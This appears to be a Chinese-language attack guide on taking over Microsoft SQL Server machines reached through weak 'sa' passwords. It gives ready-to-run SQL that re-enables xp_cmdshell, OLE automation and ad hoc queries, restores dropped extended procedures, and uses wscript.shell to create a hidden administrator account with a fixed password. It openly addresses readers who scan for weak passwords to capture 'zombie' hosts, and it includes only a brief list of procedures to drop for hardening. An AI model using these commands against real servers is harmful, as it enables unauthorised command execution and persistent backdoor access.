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SQL入侵恢复xp_cmdshell方法总结

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Release: 2016-06-07 18:01:25
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恢复xp_cmdshell SQL Server阻止了对组件 'xp_cmdshell' 的过程'sys.xp_cmdshell' 启用

1433 SQL入侵恢复xp_cmdshell方法总结
sql server 2005下开启xp_cmdshell的办法
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

SQL2005开启'OPENROWSET'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;

SQL2005开启'sp_oacreate'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;

突破SA的各种困难
常见情况恢复执行xp_cmdshell
1 未能找到存储过程'master..xpcmdshell'.
恢复方法:查询分离器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
恢复方法:查询分离器连接后,
第一步执行:sp_dropextendedproc "xp_cmdshell"
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5键命令执行完毕
四.终极方法.
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分离器连接后,
2000servser系统:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators dell /add'

xp或2003server系统:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators dell /add'

--------------
xp_cmdshell新的恢复办法
删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'

恢复
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

这样可以直接恢复,不用去管sp_addextendedproc是不是存在
-----------------------------
删除扩展存储过过程xp_cmdshell的语句:
exec sp_dropextendedproc 'xp_cmdshell'

恢复cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

开启cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

判断存储扩展是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回结果为1就ok
恢复xp_cmdshell
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回结果为1就ok
否则上传xplog7.0.dll
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'

堵上cmdshell的sql语句
sp_dropextendedproc "xp_cmdshell
----------------
删除sql危险存储:
代码如下:
DROP PROCEDURE sp_makewebtask
exec master..sp_dropextendedproc xp_cmdshell
exec master..sp_dropextendedproc xp_dirtree
exec master..sp_dropextendedproc xp_fileexist
exec master..sp_dropextendedproc xp_terminate_process
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate
exec master..sp_dropextendedproc xp_regaddmultistring
exec master..sp_dropextendedproc xp_regdeletekey
exec master..sp_dropextendedproc xp_regdeletevalue
exec master..sp_dropextendedproc xp_regenumkeys
exec master..sp_dropextendedproc xp_regenumvalues
exec master..sp_dropextendedproc sp_add_job
exec master..sp_dropextendedproc sp_addtask
exec master..sp_dropextendedproc xp_regread
exec master..sp_dropextendedproc xp_regwrite
exec master..sp_dropextendedproc xp_readwebtask
exec master..sp_dropextendedproc xp_makewebtask
exec master..sp_dropextendedproc xp_regremovemultistring
exec master..sp_dropextendedproc sp_OACreate
DROP PROCEDURE sp_addextendedproc

/*不狐 附上恢复扩展存储过程的办法

先恢复sp_addextendedproc,语句如下:
SQL代码:
代码如下:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO

再恢复以上所有扩展存储过程
SQL代码:
代码如下:
use master
exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'
exec sp_addextendedproc xp_dirtree,'xpstar.dll'
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
exec sp_addextendedproc xp_regread,'xpstar.dll'
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'

SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
经常扫SQL弱口令肉鸡的朋友应该遇见过这样的问题 !
接下来我们用SQL语句搞定他
分析器执行的语句:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE
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